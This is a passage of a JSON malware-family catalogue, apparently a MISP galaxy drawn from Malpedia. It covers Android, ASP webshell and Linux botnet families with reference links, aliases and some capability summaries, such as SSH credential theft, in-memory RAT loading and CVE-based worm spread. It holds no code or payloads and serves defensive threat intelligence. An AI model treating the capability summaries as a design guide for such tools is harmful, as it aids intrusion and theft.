          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthagent",
          "https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0777cb30-534f-44bb-a7af-906a422bd624",
      "value": "StealthAgent"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthmango",
          "https://www.lookout.com/info/stealth-mango-report-ty"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7d480f11-3de8-463d-8a19-54685c8b9e0f",
      "value": "Stealth Mango"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng",
          "https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d99c0a47-9d61-4d92-86ec-86a87b060d76",
      "value": "Svpeng"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.switcher",
          "https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e3e90666-bc19-4741-aca8-1e4cbc2f4c9e",
      "value": "Switcher"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat",
          "https://twitter.com/LukasStefanko/status/1118066622512738304"
        ],
        "synonyms": [
          "Assassin RAT"
        ],
        "type": []
      },
      "uuid": "46151a0d-aa0a-466c-9fff-c2c3474f572e",
      "value": "TalentRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat",
          "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e1600d04-d2f7-4862-8bbc-0f038ea683ea",
      "value": "TeleRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar",
          "https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "982c3554-1df2-4062-8f32-f311940ad9ff",
      "value": "TemptingCedar Spyware"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.tinyz",
          "http://blog.group-ib.com/cron"
        ],
        "synonyms": [
          "Catelites Android Bot",
          "MarsElite Android Bot"
        ],
        "type": []
      },
      "uuid": "93b27a50-f9b7-4ab6-bb9f-70a4b914eec3",
      "value": "TinyZ"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan",
          "https://blog.lookout.com/titan-mobile-threat",
          "https://www.alienvault.com/blogs/labs-research/delivery-keyboy"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7d418da3-d9d2-4005-8cc7-7677d1b11327",
      "value": "Titan"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada",
          "https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/",
          "https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/",
          "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/",
          "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/",
          "http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fa5fdfd2-8142-43f5-9b48-d1033b5398c8",
      "value": "Triada"
    },
    {
      "description": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triout",
          "https://labs.bitdefender.com/wp-content/uploads/downloads/triout-the-malware-framework-for-android-that-packs-potent-spyware-capabilities/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bd9ce51c-53f9-411b-b46a-aba036c433b1",
      "value": "Triout"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001",
          "https://twitter.com/illegalFawn/status/826775250583035904"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bbd5a32e-a080-4f16-98ea-ad8863507aa6",
      "value": "Unidentified APK 001"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_002"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "afb6a7cc-4185-4f19-8ad4-45dcbb76e544",
      "value": "Unidentified APK 002"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat",
          "https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/",
          "https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3482f5fe-f129-4c77-ae98-76e25f6086b9",
      "value": "Viper RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex",
          "https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/",
          "https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "77f2254c-9886-4eed-a7c3-bbcef4a97d46",
      "value": "WireX"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot",
          "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/",
          "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4cfa42a3-71d9-43e2-bf23-daa79f326387",
      "value": "Xbot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xloader",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2ba6a2d9-c1c7-482a-b888-b2871c5c5e25",
      "value": "XLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat",
          "https://blog.lookout.com/xrat-mobile-threat"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a8f167a8-30b9-4953-8eb6-247f0d046d32",
      "value": "XRat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.yellyouth",
          "https://www.mulliner.org/blog/blosxom.cgi/security/yellyouth_android_malware.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a2dad59d-2355-415c-b4d6-62236d3de4c7",
      "value": "YellYouth"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen",
          "https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "46d6d102-fc38-46f7-afdc-689cafe13de5",
      "value": "Zen"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark",
          "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf",
          "https://securelist.com/whos-who-in-the-zoo/85394"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b1fc66de-fda7-4f0c-af00-751d334444b3",
      "value": "ZooPark"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg",
          "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2",
          "https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1",
          "https://securelist.com/ztorg-from-rooting-to-sms/78775/"
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        "synonyms": [
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        ],
        "type": []
      },
      "uuid": "9fbf97c0-d87a-47b0-a511-0147a58b5202",
      "value": "Ztorg"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface",
          "https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/",
          "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/",
          "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf",
          "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/"
        ],
        "synonyms": [
          "HyperShell"
        ],
        "type": []
      },
      "uuid": "a98a04e5-1f86-44b8-91ff-dbe1534782ba",
      "value": "TwoFace"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/asp.unidentified_001"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d4318f40-a39a-4ce0-8d3c-246d9923d222",
      "value": "Unidentified ASP 001 (Webshell)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16",
          "https://news.drweb.com/show/?c=5&i=10193&lng=en"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3008fa01-492a-42e2-ab9b-a0a9d12823b8",
      "value": "Irc16"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/",
          "https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf",
          "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/"
        ],
        "synonyms": [
          "Gafgyt",
          "gayfgt",
          "lizkebab",
          "qbot",
          "torlus"
        ],
        "type": []
      },
      "uuid": "81917a93-6a70-4334-afe2-56904c1fafe9",
      "value": "Bashlite"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bcmpupnp_hunter",
          "https://blog.netlab.360.com/bcmpupnp_hunter-a-100k-botnet-turns-home-routers-to-email-spammers-en/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d8dd47a5-85fe-4f07-89dc-00301468d209",
      "value": "BCMPUPnP_Hunter"
    },
    {
      "description": "This is in the same family as eBury, Calfbot, and is also likely related to DarkLeech",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked",
          "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
          "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html",
          "https://www.symantec.com/security-center/writeup/2013-050214-5501-99",
          "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/",
          "https://blogs.cisco.com/security/linuxcdorked-faqs"
        ],
        "synonyms": [
          "CDorked.A"
        ],
        "type": []
      },
      "uuid": "bb9eaaec-97c9-4014-94dd-129cecf31ff0",
      "value": "CDorked"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro",
          "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html",
          "http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "700366d8-4036-4e48-9a5f-bd6e09fb9b6b",
      "value": "Chapro"
    },
    {
      "description": "This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer",
          "https://github.com/pooler/cpuminer"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8196b6f6-386e-4499-b269-4e5c65f74141",
      "value": "Cpuminer (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r",
          "https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html",
          "https://www.bleepingcomputer.com/news/security/cr1ptt0r-ransomware-infects-d-link-nas-devices-targets-embedded-systems/",
          "https://resolverblog.blogspot.com/2019/02/d-link-dns-320-nas-cr1ptt0r-ransomware.html"
        ],
        "synonyms": [
          "CriptTor"
        ],
        "type": []
      },
      "uuid": "196b20ec-c3d1-4136-ab94-a2a6cc150e74",
      "value": "Cr1ptT0r"
    },
    {
      "description": "This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.\r\n\r\nThis family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury",
          "https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf",
          "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
          "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
          "https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy",
          "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
          "https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ce79265c-a467-4a17-b27d-7ec7954688d5",
      "value": "Ebury"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "479353aa-c6d7-47a7-b5f0-3f97fd904864",
      "value": "Erebus (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ext4",
          "https://www.recordedfuture.com/chinese-cyberespionage-operations/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "79b2b3c0-6119-4511-9c33-2a48532b6a60",
      "value": "ext4"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot",
          "https://securitynews.sonicwall.com/xmlpost/vigilante-malware-removes-cryptominers-from-the-infected-device/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "501e5434-5796-4d63-8539-d99ec48119c2",
      "value": "FBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.haiduc",
          "https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dd85732f-cbf8-4f2c-af5c-f51ef7d99b6a",
      "value": "Haiduc"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime",
          "https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf",
          "https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf",
          "https://x86.re/blog/hajime-a-follow-up/",
          "http://blog.netlab.360.com/hajime-status-report-en/",
          "https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things",
          "https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461",
          "https://blog.netlab.360.com/quick-summary-port-8291-scan-en/",
          "https://github.com/Psychotropos/hajime_hashes"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ff8ee85f-4175-4f5a-99e5-0cbc378f1489",
      "value": "Hajime"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hakai",
          "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0839c28a-ea11-44d4-93d1-24b246ef6743",
      "value": "Hakai"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek",
          "https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/",
          "https://threatlabs.avast.com/botnet",
          "https://blog.avast.com/hide-n-seek-botnet-continues",
          "https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/",
          "https://blog.netlab.360.com/hns-botnet-recent-activities-en/",
          "https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/",
          "https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/",
          "https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/",
          "https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code--hide--n-seek-bot.html"
        ],
        "synonyms": [
          "HNS"
        ],
        "type": []
      },
      "uuid": "41bf8f3e-bb6a-445d-bb74-d08aae61a94b",
      "value": "Hide and Seek"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper",
          "http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/",
          "https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm",
          "https://research.checkpoint.com/new-iot-botnet-storm-coming/",
          "https://embedi.com/blog/grim-iot-reaper-1-and-0-day-vulnerabilities-at-the-service-of-botnets/"
        ],
        "synonyms": [
          "IoTroop",
          "Reaper"
        ],
        "type": []
      },
      "uuid": "37c357a1-ec09-449f-b5a9-c1ef1fba2de2",
      "value": "IoT Reaper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.jenx",
          "https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6a4365fc-8448-4270-ba93-0341788d004b",
      "value": "JenX"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten",
          "https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf"
        ],
        "synonyms": [
          "STD"
        ],
        "type": []
      },
      "uuid": "9b618703-58f6-4f0b-83a4-d4f13e2e5d12",
      "value": "Kaiten"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.lady",
          "https://news.drweb.com/news/?i=10140&lng=en"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f8b91c34-b4f0-4ef2-b9fb-15bd5ec0a66d",
      "value": "Lady"
    },
    {
      "description": "Masuta takes advantage of the EDB 38722 D-Link exploit.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta",
          "https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/",
          "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7",
          "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes"
        ],
        "synonyms": [
          "PureMasuta"
        ],
        "type": []
      },
      "uuid": "b9168ff8-01df-4cd0-9f70-fe9e7a11eccd",
      "value": "Masuta"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey",
          "https://securitykitten.github.io/2016/12/14/mikey.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "aae3b83d-a116-4ebc-aae0-f6327ef174ea",
      "value": "MiKey"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai",
          "https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/",
          "http://osint.bambenekconsulting.com/feeds/",
          "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/",
          "https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf",
          "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/",
          "https://isc.sans.edu/diary/22786",
          "https://github.com/jgamblin/Mirai-Source-Code",
          "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/",
          "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/",
          "https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "17e12216-a303-4a00-8283-d3fe92d0934c",
      "value": "Mirai (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mokes",
          "https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6d5a5357-4126-4950-b8c3-ee78b1172217",
      "value": "Mokes (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose",
          "http://www.welivesecurity.com/2015/05/26/moose-router-worm/",
          "http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/",
          "http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7fdb91ea-52dc-499c-81f9-3dd824e2caa0",
      "value": "Moose"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack",
          "https://news.drweb.com/?i=5760&c=23&lng=en"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fc047e32-9cf2-4a92-861a-be882efd8a50",
      "value": "MrBlack"
    },
    {
      "description": "Mirai variant by actor \"Anarchy\" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari",
          "https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html",
          "https://twitter.com/360Netlab/status/1019759516789821441",
          "https://twitter.com/hrbrmstr/status/1019922651203227653",
          "https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863",
          "https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/",
          "https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/",
          "https://twitter.com/ankit_anubhav/status/1019647993547550720"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ec67f206-6464-48cf-a012-3cdfc1278488",
      "value": "Owari"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla",
          "https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf",
          "https://twitter.com/juanandres_gs/status/944741575837528064",
          "https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf"
        ],
        "synonyms": [],
        "type": []
      },
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      "value": "Penquin Turla"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot",
          "https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf"
        ],
        "synonyms": [
          "DDoS Perl IrcBot",
          "ShellBot"
        ],
        "type": []
      },
      "uuid": "24b77c9b-7e7e-4192-8161-b6727728170f",
      "value": "PerlBot"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2ee05352-3d4a-448b-825d-9d6c10792bf7",
      "value": "Persirai"
    },
    {
      "description": "Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy",
          "https://github.com/n1nj4sec/pupy"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "92a1288f-cc4d-47ca-8399-25fe5a39cf2d",
      "value": "pupy (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.r2r2",
          "https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "759f8590-a049-4c14-be8a-e6605e2cd43d",
      "value": "r2r2"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos",
          "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4592384c-48a7-4e16-b492-7add50a7d2f5",
      "value": "Rakos"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rex",
          "https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/",
          "https://thisissecurity.net/2016/10/28/octopus-rex-evolution-of-a-multi-task-botnet/"
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        "synonyms": [],
        "type": []
      },
      "uuid": "49639ff5-e0be-4b6a-850b-d5d8dd37e62b",
      "value": "Rex"
    },
    {
      "description": "Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).",
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        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori",
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          "http://blog.netlab.360.com/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/",
          "https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/",
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          "https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/"
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      },
      "uuid": "9e5d83a8-1181-43fe-a77f-28c8c75ffbd0",
      "value": "Satori"
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    {
      "description": "",
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          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/linux-users-urged-update-new-threat-exploits-sambacry"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b51caf06-736e-46fc-9b13-48b0b81df4b7",
      "value": "ShellBind"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga",
          "https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "51da734c-70dd-4337-ab08-ab61457e0da5",
      "value": "Shishiga"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte",
          "http://cyber.verint.com/resource/spamtorte-v2-investigating-a-multi-layered-spam-botnet/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7b9a9ea0-04d2-42ef-b72f-9d6476b9e0d0",
      "value": "Spamtorte"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.speakup",
          "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3ccd3143-c34d-4680-94b9-2cc4fa4f86fa",
      "value": "SpeakUp"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor",
          "http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "275d65b9-0894-4c9b-a255-83daddb2589c",
      "value": "SSHDoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko",
          "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
